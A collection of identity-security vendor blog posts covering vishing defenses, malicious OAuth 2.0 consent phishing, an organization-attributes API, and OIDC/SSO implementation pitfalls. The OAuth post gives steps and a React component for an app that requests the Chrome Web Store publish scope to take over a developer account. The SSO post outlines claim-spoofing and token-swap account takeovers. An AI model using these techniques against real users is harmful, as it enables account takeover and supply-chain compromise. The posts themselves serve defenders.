Mutual TOTP blocks the "operator-assisted MFA bypass" moves because the attacker cannot complete the handshake without the registered device -- thus, voice cloning/deepfakes won't help.

2.3. Browser extension for phishing detection

SlashID also provides a browser extension that performs real-time phishing detection and identity protection at the client layer. While mutual TOTP secures the phone call, the browser extension secures the link click -- the other critical hinge point in vishing campaigns.

SlashID's browser extension is positioned to stop phishing where it happens: in the browser, before credentials are submitted. It inspects pages as they load by evaluating DOM, URL reputation, and form behavior, then a policy layer makes a decision (brand impersonation, typosquats, risky flows), and the extension can warn/block submission, or trigger extra authentication.

2.4. Detecting fake login attempts and MITM phishing

The vishing flow depends on redirecting victims to a malicious login page. SlashID provides an explicit MITM (reverse proxies) detection mechanism: you generate a MITM token tied to allowed domains, embed it in pages, and SlashID can detect when login pages are being accessed via unauthorized domains/proxy contexts. This is a strong fit for SSO login pages such as Okta or Entra.

2.5. Query the identity graph to confirm blast radius quickly

SlashID Identity Protection exposes your identity environment as a graph (identities, credentials, groups, policies, resources, and the relationships between them). By leveraging Cypher queries, security teams can quickly answer who has access to what, how did they get it, and what changed recently -- which is exactly what you need during incidents like help desk vishing.

SlashID implements some high-value quality query patterns used to identify overprivileged identities, detect privilege escalation attempts, discover NHIs with unrestricted access to resources, and analyzing blast radius by identifying federated access risks.

For deeper investigations, analysts can leverage SlashID's AI assistant to generate natural-language queries that surface risky access patterns, privilege escalation, or lateral movement paths.

3. A concrete NYDFS-aligned control map using SlashID

NYDFS latest industry letter guidance focuses on preventing credential theft, strengthening MFA controls, and monitoring identity activity for signs of compromise. SlashID maps directly to these requirements by combining identity telemetry, phishing detection, and automated remediation to detect and contain vishing-driven account takeovers.

NYDFS Control Requirement	How SlashID Helps
Identity Verification Procedures (not caller ID)	Monitor password reset and MFA enrollment events; trigger detection webhooks for suspicious identity changes and automate containment
Strengthen MFA controls and enrollment permissions	Detect MFA posture gaps (e.g., MissingMFA), enforce stronger authentication workflows, and enable SlashID's TOTP
Continuous monitoring of authentication activity	Correlate identity telemetry across sources and query the identity graph to identify privilege escalation or unusual access patterns (e.g., FederationBypass)
MFA must be continuously evaluated	Use posture detections and continuous assessments to validate MFA coverage and flag configuration drift
Reduce exposure to fake login portals	Deploy MITM token detection on authentication surfaces to detect malicious login proxies and phishing infrastructure

Conclusion

Help desk vishing attacks show how modern intrusions increasingly target identity workflows rather than technical vulnerabilities. By exploiting social engineering and weak identity verification processes, attackers can obtain legitimate access and bypass traditional defenses.

SlashID helps break this attack chain by combining identity telemetry, behavioral detections, phishing protection, and identity graph analysis to detect suspicious authentication patterns and quickly contain compromised accounts. By implementing identity-centric security controls with SlashID, organizations can significantly reduce the risk of vishing-driven account takeovers and stop attackers before they can expand their foothold.

If you're looking to strengthen your defenses against vishing attacks, contact SlashID to learn how our platform can help protect your organization.

Protecting against malicious OAuth 2.0 applications

Vincenzo Iozzo, SlashID Team — Wed, 08 Jan 2025 00:00:00 GMT

Introduction

OAuth 2.0 apps are back under the spotlight following the recent breach that affected several vendors.

In particular, the attackers created a rouge OAuth 2.0 app to phish a developer and obtain their credentials for Google. Far from a one-time instance, several attacks of this kind have been observed through the years primarily executed by national state actors like APT29.

An OAuth 2.0 application leverages OAuth 2.0 to obtain authorization on behalf of a user to access a service or a resource.

From a user standpoint, the phishing attempt looks genuine and it's hard to distinguish from a legitimate application. In the video below you can see such a flow in action:

In this example, once the user grants access to their account, the attacker can leverage the auth token to upload malicious code to the Google Store.

Let's dig deeper to understand how these attacks are carried out.

OAuth 2.0 and OIDC authorization at a high level

Feel free to skip this section if you are already familiar with OAuth 2.0 and OIDC

It would take too long to describe all the possible OAuth 2.0 flows and they are generally well documented online. To summarize in a picture:

At a high level, here is some contextual information useful for the rest of the article:

Roles:
- Resource Owner: The user who authorizes an application to access their account.
- Resource Server: The server hosting the user data.
- Client: The application that wants to access the user's account.
- Authorization Server: The server that authenticates the resource owner and issues access tokens to the client.
Flow:
- The client requests authorization from the resource owner to access their resources.
- If the resource owner grants authorization, the client receives an authorization grant, which is a credential representing the resource owner's authorization.
- The client requests an access token from the authorization server by presenting the authorization grant and authentication.
- If the request is valid, the authorization server issues an access token to the client.
- The client uses the access token to access the protected resources hosted by the resource server.
Authorization Grant Types: OAuth 2.0 defines several grant types but in this article, we'll touch on the two most commonly used ones:
- Authorization Code: Used with web applications.
- Implicit: Simplified flow, mostly used by mobile or web applications.
Access Token:
- This token represents the authorization of a specific application to access specific parts of a user's data.
- The client must send this token to the resource server in every request.
- Tokens are limited in scope and duration.

As it is often explained publicly, OAuth 2.0 doesn't provide an authentication flow hence it is generally used in conjunction to OpenID Connect (OIDC). OIDC allows clients to verify the identity of an end-user based on the authentication performed by an authorization server, as well as to obtain basic profile information about the end-user. At a high level:

Roles:
- End-User: The individual whose identity is being verified.
- Client: The application requiring the end-user's identity, typically a web app, mobile app, or server-side application.
- Authorization Server (OpenID Provider): The server that authenticates the end-user and provides identity tokens to the client.
Flow:
- The client requests authorization from the end-user. This is typically done through a user agent (like a web browser) and involves redirecting the user to the authorization server.
- The authorization server authenticates the end-user. This may involve the user logging in with a username and password or other authentication methods.
- Once authenticated, the end-user is asked to grant permission for the client to access their identity information.
- After the end-user grants permission, the authorization server redirects back to the client with an ID Token and, often, an Access Token.
- The ID Token is a JSON Web Token (JWT) that contains claims about the identity of the user. The client will validate this token to ensure it's authentic.
- The Access Token can be used by the client to access the user's profile information via a user-info endpoint on the authorization server.
Scopes and Claims:
- During the authorization request, the client specifies the scope of the access it is requesting. Common scopes in OpenID Connect include openid (required), profile, email, etc.
- Claims are pieces of information about the user, such as the user's name, email, and so forth. These are included in the ID Token based on the requested scopes.

In practice, at a high level, a client is given a client_id and a client_secret. The client initiates a request sending those two parameters among others to the authorization server, the authorization server first verifies the validity of the client_id and client_secret and then proceeds to verify the user. Once that's done, the user is redirected to a redirect_uri passed to the authorization server by the client. From there on, depending on the OAuth 2.0 flow, there might be further exchanges between the client and the authorization server server.

Abusing trust

Once a user has been redirected to the app/Client that initiated the OAuth 2.0 the app can do two crucial things:

Verify the identity of the user with respect to the ownership of a given identifier (eg: an email address)
Access resources on behalf of the user based on the scopes that the user granted to the app

Both could potentially be abused by an attacker.

Both Google and Microsoft have verification processes in place to verify that an OAuth 2.0 app is legitimate, however several caveats apply. In practice, there are several ways for attackers to bypass the verification process or get around it.

For the former, an attacker could, under certain circumstances, impersonate the user with a third-party service. See an example here.

However, the most recent breach leveraged this capability to deploy a backdoored version of the companies' Chrome extensions by requesting the scopes required to publish updates to the Chrome Web Store (https://www.googleapis.com/auth/chromewebstore).

Note that, by using a similar process, an attacker could have performed other nefarious actions such as exfiltrating or deleting emails and files.

Further, it's important to note that while IdPs such as Microsoft, Google, and Okta are more frequently targeted - the same potential issues apply to any provider that implements OAuth 2.0.

Let's see an example in practice

Replicating the Chrome extension attack is fairly trivial. Create a new OAuth 2.0 app in Google Cloud. In the list of scopes, select https://www.googleapis.com/auth/chromewebstore as shown below:

Once the application has been created, generate a client ID and secret pair.

With the new credentials, you can now use an OAuth 2.0 Authorization Flow to obtain access to the user account. Here's an example app in action:

At this point the application has access to the user account and can impersonate it to upload a malicious Chrome extension.

This is the corresponding React component to replicate it:

import React, { useState, useEffect } from 'react'
import { ReadonlyURLSearchParams } from 'next/navigation'

interface OAuthAppProps {
  searchParams: ReadonlyURLSearchParams;
}

// JWT decode function remains the same
const decodeJWT = (token: string) => {
  try {
    const base64Url = token.split('.')[1]
    const base64 = base64Url.replace(/-/g, '+').replace(/_/g, '/')
    const jsonPayload = decodeURIComponent(
      atob(base64)
        .split('')
        .map((c) => '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2))
        .join('')
    )
    return JSON.parse(jsonPayload)
  } catch (error) {
    console.error('Error decoding JWT:', error)
    return null
  }
}

const OAuthApp = ({ searchParams }: OAuthAppProps) => {
  const [clientId, setClientId] = useState(
    '412876789490-99r6dgbje8rmeahheig85kf6p7enbskr.apps.googleusercontent.com'
  )
  const [clientSecret, setClientSecret] = useState('SPX-oy_XxHZHdQBABCSAS')
  const [authEndpoint, setAuthEndpoint] = useState(
    'https://accounts.google.com/o/oauth2/auth'
  )
  const [tokenEndpoint, setTokenEndpoint] = useState(
    'https://oauth2.googleapis.com/token'
  )
  const [redirectUri, setRedirectUri] = useState('http://localhost:3000')
  const [scope, setScope] = useState(
    'openid email profile https://www.googleapis.com/auth/chromewebstore'
  )
  const [accessToken, setAccessToken] = useState('')
  const [idToken, setIdToken] = useState('')
  const [decodedToken, setDecodedToken] = useState < any > null
  const [error, setError] = useState('')

  // Rest of the logic remains the same
  const startOAuth = () => {
    if (!clientId || !authEndpoint) {
      setError('Client ID and Authorization Endpoint are required')
      return
    }

    const authUrl = new URL(authEndpoint)
    authUrl.searchParams.append('client_id', clientId)
    authUrl.searchParams.append('response_type', 'code')
    authUrl.searchParams.append('redirect_uri', redirectUri)
    if (scope) {
      authUrl.searchParams.append('scope', scope)
    }
    authUrl.searchParams.append('access_type', 'offline')
    authUrl.searchParams.append('prompt', 'consent')

    window.location.href = authUrl.toString()
  }

  useEffect(() => {
    const code = searchParams.get('code')
    const error = searchParams.get('error')

    if (error) {
      setError(`Authorization error: ${error}`)
      return
    }

    if (code && tokenEndpoint && clientId && clientSecret) {
      const exchangeToken = async () => {
        try {
          const response = await fetch(tokenEndpoint, {
            method: 'POST',
            headers: {
              'Content-Type': 'application/x-www-form-urlencoded',
            },
            body: new URLSearchParams({
              grant_type: 'authorization_code',
              code,
              redirect_uri: redirectUri,
              client_id: clientId,
              client_secret: clientSecret,
            }),
          })

          const data = await response.json()
          if (data.access_token) {
            setAccessToken(data.access_token)
            setError('')
            console.log('Full token response:', data)

            if (data.id_token) {
              setIdToken(data.id_token)
              const decoded = decodeJWT(data.id_token)
              setDecodedToken(decoded)

              if (decoded) {
                const now = Math.floor(Date.now() / 1000)
                if (decoded.exp && decoded.exp < now) {
                  setError('ID Token has expired')
                }
                if (decoded.aud !== clientId) {
                  setError('ID Token audience mismatch')
                }
              }
            }
          } else {
            setError('Failed to get access token')
            console.error('Token response without access_token:', data)
          }
        } catch (err) {
          setError('Error exchanging code for token')
          console.error('Token exchange error:', err)
        }
      }

      exchangeToken()
    }
  }, [searchParams, clientId, clientSecret, tokenEndpoint, redirectUri])

  return (
    <div className="max-w-2xl mx-auto p-4">
      <div className="bg-gray-50 shadow-lg rounded-lg p-6 border border-gray-200">
        <div className="mb-6">
          <h2 className="text-2xl font-bold mb-2 text-gray-800">
            Google OAuth 2.0 Authorization
          </h2>
          <p className="text-gray-600">
            Credentials and endpoints are pre-filled for Google OAuth
          </p>
        </div>

        <div className="space-y-4">
          <div>
            <label
              className="block text-sm font-medium mb-1 text-gray-700"
              htmlFor="clientId"
            >
              Client ID
            </label>
            <input
              id="clientId"
              type="text"
              className="w-full p-2 border border-gray-300 rounded focus:ring-2 focus:ring-gray-400 focus:border-gray-400 bg-white"
              value={clientId}
              onChange={(e) => setClientId(e.target.value)}
            />
          </div>

          <div>
            <label
              className="block text-sm font-medium mb-1 text-gray-700"
              htmlFor="clientSecret"
            >
              Client Secret
            </label>
            <input
              id="clientSecret"
              type="password"
              className="w-full p-2 border border-gray-300 rounded focus:ring-2 focus:ring-gray-400 focus:border-gray-400 bg-white"
              value={clientSecret}
              onChange={(e) => setClientSecret(e.target.value)}
            />
          </div>

          <div>
            <label
              className="block text-sm font-medium mb-1 text-gray-700"
              htmlFor="authEndpoint"
            >
              Authorization Endpoint
            </label>
            <input
              id="authEndpoint"
              type="text"
              className="w-full p-2 border border-gray-300 rounded focus:ring-2 focus:ring-gray-400 focus:border-gray-400 bg-white"
              value={authEndpoint}
              onChange={(e) => setAuthEndpoint(e.target.value)}
            />
          </div>

          <div>
            <label
              className="block text-sm font-medium mb-1 text-gray-700"
              htmlFor="tokenEndpoint"
            >
              Token Endpoint
            </label>
            <input
              id="tokenEndpoint"
              type="text"
              className="w-full p-2 border border-gray-300 rounded focus:ring-2 focus:ring-gray-400 focus:border-gray-400 bg-white"
              value={tokenEndpoint}
              onChange={(e) => setTokenEndpoint(e.target.value)}
            />
          </div>

          <div>
            <label
              className="block text-sm font-medium mb-1 text-gray-700"
              htmlFor="redirectUri"
            >
              Redirect URI
            </label>
            <input
              id="redirectUri"
              type="text"
              className="w-full p-2 border border-gray-300 rounded focus:ring-2 focus:ring-gray-400 focus:border-gray-400 bg-white"
              value={redirectUri}
              onChange={(e) => setRedirectUri(e.target.value)}
            />
          </div>

          <div>
            <label
              className="block text-sm font-medium mb-1 text-gray-700"
              htmlFor="scope"
            >
              Scope
            </label>
            <input
              id="scope"
              type="text"
              className="w-full p-2 border border-gray-300 rounded focus:ring-2 focus:ring-gray-400 focus:border-gray-400 bg-white"
              value={scope}
              onChange={(e) => setScope(e.target.value)}
            />
          </div>

          {error && (
            <div className="bg-red-50 text-red-700 p-3 rounded border border-red-200">
              {error}
            </div>
          )}

          {accessToken && (
            <div className="bg-green-50 text-green-700 p-3 rounded border border-green-200">
              <p>Access Token: {accessToken.slice(0, 20)}...</p>
            </div>
          )}

          {decodedToken && (
            <div className="bg-gray-50 text-gray-700 p-3 rounded border border-gray-200">
              <h3 className="font-bold mb-2">Decoded ID Token:</h3>
              <pre className="whitespace-pre-wrap overflow-x-auto">
                {JSON.stringify(decodedToken, null, 2)}
              </pre>
            </div>
          )}

          <button
            onClick={startOAuth}
            className="w-full bg-gray-700 text-white py-2 px-4 rounded hover:bg-gray-800 focus:ring-2 focus:ring-gray-500 focus:ring-offset-2 transition-colors"
          >
            Start Google OAuth Flow
          </button>
        </div>
      </div>
    </div>
  )
}

export default OAuthApp

How can you detect these attacks

Generally, IdPs provide admins with a list of OAuth 2.0 apps authorized by each user. For instance, Google shows this list in the admin panel:

However the list doesn't show the full set of permissions granted to the app nor any risk they carry.

For example, in this case, it's not obvious that the app could upload a malicious Chrome extension unless you click on the application and read through the full description.

The security team should periodically review the list and the details of each grant to verify if any malicious app is present.

How SlashID can help

SlashID can assist in three ways:

Our Identity Graph shows the users who are using a given OAuth 2.0 application

We provide built-in detections across IdPs for risky scopes and anomalous OAuth 2.0 apps to immediately detect these types of attacks - as shown in the screenshot below.

You can automatically remediate an attack by revoking access to the app either automatically through our APIs or manually through the remediation playbook

Conclusion

Now that traditional phishing attempts have been made harder by more awareness and stronger MFA options, attackers are naturally migrating towards new ways to compromise targets and OAuth 2.0 is a primary target for that due to its complexity and ubiquitous usage. Contact us if you'd like to see how SlashID can protect against this and other types of identity attacks!

Introducing Organization Attributes

Vincenzo Iozzo, SlashID Team — Tue, 14 May 2024 00:00:00 GMT

Introducing Organization Attributes: Store Tenant-Level Data

Today we are excited to announce a powerful new feature: Organization Attributes. With organization attributes, you can now easily store and manage tenant-level data directly on our platform.

Key features include:

Store data at the organization level, separate from user data
Organize data into attribute "buckets" with different visibility and access levels
Org-level, granular encryption with an hardware root of trust
Multi-region replication for even higher availability

Typical use cases include storing billing data, tags, secrets, feature flags, and more.

How It Works

With the organization attributes APIs, you POST key-value pairs into named attribute buckets for a given organization ID. For example, to store some billing information and feature tags for ACME Corp, you could make a request like:

curl -X PUT https://api.slashid.com/organizations/attributes \
  -H 'SlashID-OrgID: 65e43220-439d-7ae5-9934-d1c4999c8d64' \
  -H 'SlashID-API-Key: <API_KEY_VALUE>' \
  -H "Content-Type: application/json" \
  -d '{
    "end_user_no_access": {
        "billing": {
        "plan": "enterprise",
        "status": "paid",
        "subscriptionEnd": "2023-12-31"
        },
        "tags": {
        "region": "us-west",
        "segment": "enterprise"
        }
    }
  }'

This stores the given attributes in the end_user_no_access bucket (more on buckets below) for the given SlashID-OrgID. To fetch all attributes across buckets:

curl -X GET https://api.slashid.com/organizations/attributes \
  -H 'SlashID-OrgID: 65e43220-439d-7ae5-9934-d1c4999c8d64' \
  -H 'SlashID-API-Key: <API_KEY_VALUE>' \

To fetch just the billing attribute:

curl -X GET https://api.slashid.com/organizations/attributes/end_user_no_access?attributes=billing \
  -H 'SlashID-OrgID: 65e43220-439d-7ae5-9934-d1c4999c8d64' \
  -H 'SlashID-API-Key: <API_KEY_VALUE>' \

And to delete the tags attribute:

curl -X DELETE "https://api.slashid.com/organizations/attributes/end_user_no_access?attributes=tags" \
  -H 'SlashID-OrgID: 65e43220-439d-7ae5-9934-d1c4999c8d64' \
  -H 'SlashID-API-Key: <API_KEY_VALUE>' \

Simple and powerful! You can store up to 64KB per attribute value, with attribute names up to 70 bytes. Access is controlled via RBAC policies.

Access control and visibility

Earlier we briefly mentioned the concept of a bucket. A bucket in SlashID is a container of attributes with a specific level of access and visibility.

You can see all available buckets for organization attributes with the following call:

curl -X GET https://api.slashid.com/organizations/attribute-buckets \
  -H 'SlashID-OrgID: 65e43220-439d-7ae5-9934-d1c4999c8d64' \
  -H 'SlashID-API-Key: <API_KEY_VALUE>' \

Two core concepts apply to buckets, one is the sharing scope and the other is the end-user permissions.

Buckets can either be shared with the current organization exclusively or across organizations that share the same user pool. Here's an example output of two buckets that are respectively shared only in the org and in the person pool:

    {
      "end_user_permissions": "no_access",
      "name": "end_user_no_access",
      "owner_organization_id": "65e43220-439d-7ae5-9934-d1c4999c8c54",
      "sharing_scope": "organization"
    },

    {
      "end_user_permissions": "no_access",
      "name": "person_pool-end_user_no_access",
      "sharing_scope": "person_pool"
    },

Writing an attribute in the latter pool allows any organization with the same pool of users to access, delete, and modify that attribute.

The end user permissions allow to specify whether a given bucket should be accessible and writable by an authenticated user or whether they can only be accessed through the backend with an API key.

This powerful primitive allows to have organization-level attributes that are easily visible and usable from the front end without any backend work required.

Common Use Cases

With organization attributes, you can now easily persist tenant configuration and metadata, including:

Billing data like plan, status, MRR, etc. Trigger flows based on changes.
Tags for segmentation, targeting, categorization
Feature flags to control rollouts and access
Secrets
Preferences and settings
Arbitrary metadata to power your business logic

No longer do you have to set up separate databases or caches to store this type of organization-level data. It's now available with a simple API.

Get Started

Check out the organization attributes API reference to learn more and start using this feature in your application today. We can't wait to see what you build with it!

Single Sign-On implementation: Security Issues and Best Practices

Vincenzo Iozzo, SlashID Team — Mon, 08 Jan 2024 00:00:00 GMT

Introduction

Social logins and enterprise connections are popular because they are an extremely effective way to register users lowering sign up frictions (often up to 20% higher conversion or more) as well as a way to connect internal enterprise directories to a SaaS application.

Besides SAML, which is largely used for enterprise directories, the standard for social login is a protocol called OpenID Connect (OIDC). This is an identity layer built on top of the OAuth 2.0 framework. It allows third-party applications to verify the identity of the end-user and to obtain basic user profile information. OIDC uses JSON web tokens (JWTs), which are obtained through flows defined in the OAuth 2.0 specifications.

Unfortunately OAuth 2.0 is a complex protocol and several implementations suffer from security issues.

Just recently Salt Security published a series of blog posts on OAuth 2.0 implementation bugs found in sites such as Booking.com, Kayak, Grammarly, and many more.

This is in addition to the vulnerability reported to Descope that can lead to privilege escalation when using Entra/Azure AD for SSO and the one reported by Truffle Security that could lead to a similar outcome with Google.

In this blog post we summarize the best practices in implementing OAuth 2.0 securely followed by a deeper dive on the risk posed by each.

OAuth 2.0 and OIDC authorization at a high level

Feel free to skip this section if you are already familiar with OAuth 2.0 and OIDC

It would take too long to describe all the possible OAuth 2.0 flows and they are generally well documented online. To summarize in a picture:

At a high-level, here is some contextual information useful for the rest of the article:

Roles:
- Resource Owner: The user who authorizes an application to access their account.
- Resource Server: The server hosting the user data.
- Client: The application wanting to access the user's account.
- Authorization Server: The server that authenticates the resource owner and issues access tokens to the client.
Flow:
- The client requests authorization from the resource owner to access their resources.
- If the resource owner grants authorization, the client receives an authorization grant, which is a credential representing the resource owner's authorization.
- The client requests an access token from the authorization server by presenting the authorization grant and authentication.
- If the request is valid, the authorization server issues an access token to the client.
- The client uses the access token to access the protected resources hosted by the resource server.
Authorization Grant Types: OAuth 2.0 defines several grant types but in this article we'll touch on the two most commonly used ones:
- Authorization Code: Used with web applications.
- Implicit: Simplified flow, mostly used by mobile or web applications.
Access Token:
- This token represents the authorization of a specific application to access specific parts of a user's data.
- The client must send this token to the resource server in every request.
- Tokens are limited in scope and duration.

As it is often explained publicly, OAuth 2.0 doesn't provide an authentication flow hence it is generally used in conjuction to OpenID Connect (OIDC). OIDC allows clients to verify the identity of an end-user based on the authentication performed by an authorization server, as well as to obtain basic profile information about the end-user. At a high-level:

Roles:
- End-User: The individual whose identity is being verified.
- Client: The application requiring the end-user's identity, typically a web app, mobile app, or server-side application.
- Authorization Server (OpenID Provider): The server that authenticates the end-user and provides identity tokens to the client.
Flow:
- The client requests authorization from the end-user. This is typically done through a user agent (like a web browser) and involves redirecting the user to the authorization server.
- The authorization server authenticates the end-user. This may involve the user logging in with a username and password or other authentication methods.
- Once authenticated, the end-user is asked to grant permission for the client to access their identity information.
- After the end-user grants permission, the authorization server redirects back to the client with an ID Token and, often, an Access Token.
- The ID Token is a JSON Web Token (JWT) that contains claims about the identity of the user. The client will validate this token to ensure it's authentic.
- The Access Token can be used by the client to access the user's profile information via a user-info endpoint on the authorization server.
Scopes and Claims:
- During the authorization request, the client specifies the scope of the access it is requesting. Common scopes in OpenID Connect include openid (required), profile, email, etc.
- Claims are pieces of information about the user, such as the user's name, email, and so forth. These are included in the ID Token based on the requested scopes.

Security best practices

This is the a list of security checks to perform when implementing OIDC:

Only use authoritative claims
Enforce exact paths in OAuth 2.0 providers configuration
Avoid the implicit OAuth 2.0 grant type
Use PKCE to avoid CSRF and interception attacks
Verify the token received from a third-party IdP and check that the client id is the intended client id for the application
Be mindful of which providers you accept on your website

Only use authoritative claims

This issue has presented itself in a number of different flavors across major identity providers including Microsoft Entra, Google and AWS Cognito. For example, Flickr was compromised through a version of this issue.

Microsoft calls the issue "the false identifier anti-pattern":

The false identifier anti-pattern occurs when an application or service assumes that an attribute other than the subject of an assertion from a federated identity provider is a unique, durable, and trustworthy account identifier during single sign-on.

Microsoft Entra

The issue stems from the fact that in AzureAD/Entra a user without a provisioned mailbox can have any email address set for their Mail (Primary SMTP) attribute. This attribute is not guaranteed to come from a verified email address.

However most clients retrieving the email address claim through OIDC would treat it as a verified/authoritative email address.

For example, an attacker could have an Azure AD account with an email such as satya.nadella@microsoft.com and the receiving client would treat that as the valid email address for that user. If Satya Nadella actually had an account in that specific client that could lead to a privilege escalation/unauthorized impersonation where the attacker could impersonate Nadella.

It's important to note that while this specific issue was about the email address claim in AzureAD, the more general pattern is for clients to always verify which claims are authoritative for a Resource Server and maintain the same "privileges" over them.

Google

In fact, similarly to the Entra issues, researchers at Truffle Security discovered a very similar issue with Google. In particular, it is possible to create a Google account with an existing email. Contrary to the AzureAD case, the ownership of the email is verified. However depending on the implementation of the client this could still lead to two issues:

Insider Threat: an existing employee can create a shadow account (by leveraging the + sign aliases) in the target client/application. If the application allows for multiple idenfiers to be specified or very long-lived tokens, the insider might be able to maintain access to the shadow account even after the employee has left the company/has been terminated. Such a vulnerability was found by Truffle Security in both Zoom and Slack.
Privilege escalation/Unauthorized impersonation: Several researchers have shown how somebody can abuse customer support ticketing systems to impersonate other domains using magic links. In such a scenario, an attacker could gain access to a company application by combining the two issues together.

Note: Google has a OAuth 2.0 claim called email_verified, it might be possible to create Google accounts without any email verification at all leading to more unauthorized impersonation issues.

AWS Cognito

The last example is another variation on this but easier to follow. A website can use AWS Cognito as an OAuth 2.0 provider leading to a similar issue.

As well described in this blog post on Flickr, by default Cognito allows users to change their user attributes, including the email attribute email.

In the case of Flickr, the website was using the standard OIDC flow to authenticate a user and they referenced the email claim without verying the flag in the email_verified claim. This lead to a scenario where an attacker could takeover any Flickr account with a simple process:

Create an attacker account on Flickr and authenticate
Extract the AWS Cognito access token and using the aws cli change the email claim to the victim email
Re-login with the attacker account in (1)

Flickr use the email claim to link the Flickr account to the AWS Cognito user resulting in an arbitrary account takeover.

Enforce exact paths in OAuth 2.0 providers configuration

When a client registers with an Authorization Server generally a redirect_uri has to be specified, the Authorization Server will then verify that the URL passed during the OIDC flow matches the redirect_uri stored for that client.

Unfortunately most Authorization Servers allow wildcards in the path or some even allow no redirect_uri at all. There's nothing the client can do in the latter case but in the former it is crucial to specify exact urls instead of wildcards.

This is because an attacker can potentially trick a victim into being redirected to a different origin than intended and thus potentially stealing the access token.

Avoid the implicit OAuth 2.0 grant type

The implicit OAuth 2.0 grant type was previously recommended for native apps and SPA applications. In this flow, the access token is returned directly as part of the redirect.

Combining this with the previous issue, can lead to a simple way to impersonate the user by stealing the access token when the user is redirected to a redirect_uri that is attacker-controlled.

Use Proof Key for Code Exchange (PKCE) to avoid CSRF and interception attacks

Cross-Site Request Forgery (CSRF) is a vulnerability that occurs when an attacker can cause a victim to perform an unintended action on a web resource. In the context of OAuth 2.0, a code interception attack is an attack where the attacker intercepts an authorization code and tries to redeem it for a valid access token.

A technique called Proof Key for Code Exchange (PKCE, pronounced "pixy") was introduced to reduce the risk of CSRF and code interception. PKCE is an addition to any OAuth 2.0 flows.

In summary, the idea is for the application/client to select a secret, one-time nonce that cannot be intercepted by an attacker as it is never sent to the user browser.

When a flow starts, the client hashes the nonce and sends it in the code_challenge parameter to the authorization server. When the user completes the authorization flow and is redirected to the redirect_uri, the client sends the code_verifier in addition to the auth code and the state parameters to the authorization server. The authorization server returns a valid access token only if the hash of the code_verified matches the code_challenge.

The key idea is that an attacker who intercepts the authorization code from the server is unable to redeem it for an access token, as they are not in possession of the code_verifier secret.

The authorization server would reject a token request if the attacker tries to inject an authorization code via CSRF.

PKCE also protects against a network attacker because the attacker would need to inject a code that is bound to the same code challenge that was used initially by the client. While the attacker can create codes bound to arbitrary code challenges, the attacker cannot know the code challenge used in any one legitimate session.

Verify the token received from a third-party IdP

If you do need to support the implicit OAuth 2.0 grant type it is key to verify the token received in the callback as the callback could be invoked by an attacker with a valid access token belonging to a different website.

In this scenario, an attacker can intercept the OAuth 2.0 flow and swap the token with a token issued from an attacker-controlled website. Specifically:

Trick a user into logging-in through OIDC on an attacker-controlled website
Begin the OIDC flow on the target website pretending to be the user. This way the attacker is able to capture the state parameter used by the client and the Authorization Server to identify a "session"
Use the state parameter from (2) combined with the access token for the user obtained in (1) to complete the authentication flow on the target client/website.

To address this problem, it is crucial to confirm that the token received was issued for the client client_id and not for a third party application.

Be mindful of which providers you accept on your website

Duplicated accounts are one of the most vexing issues for both users and companies. On the user side, duplicate accounts lead to frustration and bad experience. On the company side it leads to customer support tickets as well as issues with data analysis.

To address this problem a lot of websites automatically merge accounts if the primary user identifier is the same. In other words, a user who registered with user@example.com and has account number 123 will be treated as the same person if the primary identifier user@example.com comes from OIDC, a magic link or any other authentication method.

This is a more general case of the issues we've see in (1), specifically an attacker could impersonate a legitimate user if account merging is turned on a website and the website has one of two issues:

Has a weakness such as trusting a claim that is not authoritative
Supports a OIDC provider for which an attacker can obtain a token and the website is not implementing countermeasures as indicated in the section above

If you are a SlashID customer

Ultimately mitigating these issues requires the expert review of a security engineer or an application security review. However, using a vendor can make the task less daunting. In particular, if you are a SlashID customer we help you in the following ways:

We do not support OAuth 2.0 implicit flow
We enforce PKCE
For all Identity Providers we support, we return an email claim only if it's verified
We only support SSO providers that we have vetted and consider trustworthy
You can use our SDK to send an email verification link after the user logs in with SSO

Conclusion

Authentication is a typical example of a task that is simple in theory but very hard in practice due to both security and reliability issues. In this blog post we've shown a few examples of what could go wrong when implementing OIDC/Social Logins.

If you are interested in implementing social logins and identity securely, get a free account here or reach out to us!

OAuth 2.0 Fine-Grained API Authorization with Gate and OpenAPI

Joseph Gardner, Vincenzo Iozzo — Mon, 23 Oct 2023 00:00:00 GMT

Introduction

The latest plugin for SlashID Gate enforces all the security schemes defined in an OpenAPI spec.

You can keep your OpenAPI spec as the single source of truth for describing your API, and deploy Gate at the edge to make sure all of your security schemes are fully enforced before a request reaches your service. Did your API change? No problem - just roll out a new Gate deploy with the updated specification.

In this blogpost we'll explain the advantages of using OAuth 2.0 to secure your APIs, how you can describe this in an OpenAPI spec, and how to use Gate to enforce it - all without writing a single line of code.

This plugin works with any OAuth 2.0 provider, but for this example we'll use SlashID, as it only takes a few minutes to get up and running with OAuth 2.0 client credentials.

Background

Long-lived and overly privileged API keys are one of the primary sources of data breaches today. As a result, enterprise companies' RFPs are increasingly requiring vendors to protect their APIs using two-legged or three-legged OAuth 2.0 flows with fine-grained access control.

In this blogpost, we'll demonstrate how to quickly add and enforce client credentials for your APIs to comply with two-legged OAuth 2.0 flow requirements, including out-of-the-box fine-grained access control.

While there are many choices of Authorization Server, including SlashID, that can provision client credentials and access tokens, SlashID is the only solution that also enforces access token validation for protected resources.

In this section we provide an overview of OAuth 2.0 Client Credentials and the OpenAPI specification. If you are already familiar with these topics, feel free to skip them.

OAuth 2.0 Client Credentials Flow

The OAuth 2.0 specification defines multiple authentication flows. One of the simplest is the client credentials flow:

Request an access token from the Authorization Server using client credentials (for example, an ID and secret)
Make a request to the Resource Server that includes the access token
Resource Server validates the token
Resource Server responds with requested data or an error depending on the outcome.

This flow is well-suited to machine-to-machine (M2M) authentication as there is no user interaction required (unlike other OAuth 2.0 flows). The client credentials flow offers two significant advantages over API keys, which are often used for M2M authentication scenarios:

Access tokens are typically short-lived
Client credentials and access tokens are scoped by specification, meaning they have limited permissions.

Both of these features reduce the risk and limit the potential damage from credential theft, and help to enforce the principle of least privilege, which is essential for both security and compliance.

Implementing a system that uses this flow to protect endpoints comes with challenges. While there are many choices of Authorization Server (including SlashID) that can provision client credentials and access tokens, it is up to the maintainer of the protected resource to correctly check access tokens. This means every endpoint needs to validate an access token and its scope before deciding whether the request is allowed, and this logic needs to be kept up to date and consistent with changing API requirements. A single missed scope can leave a sensitive API exposed to clients that should not have access.

OpenAPI

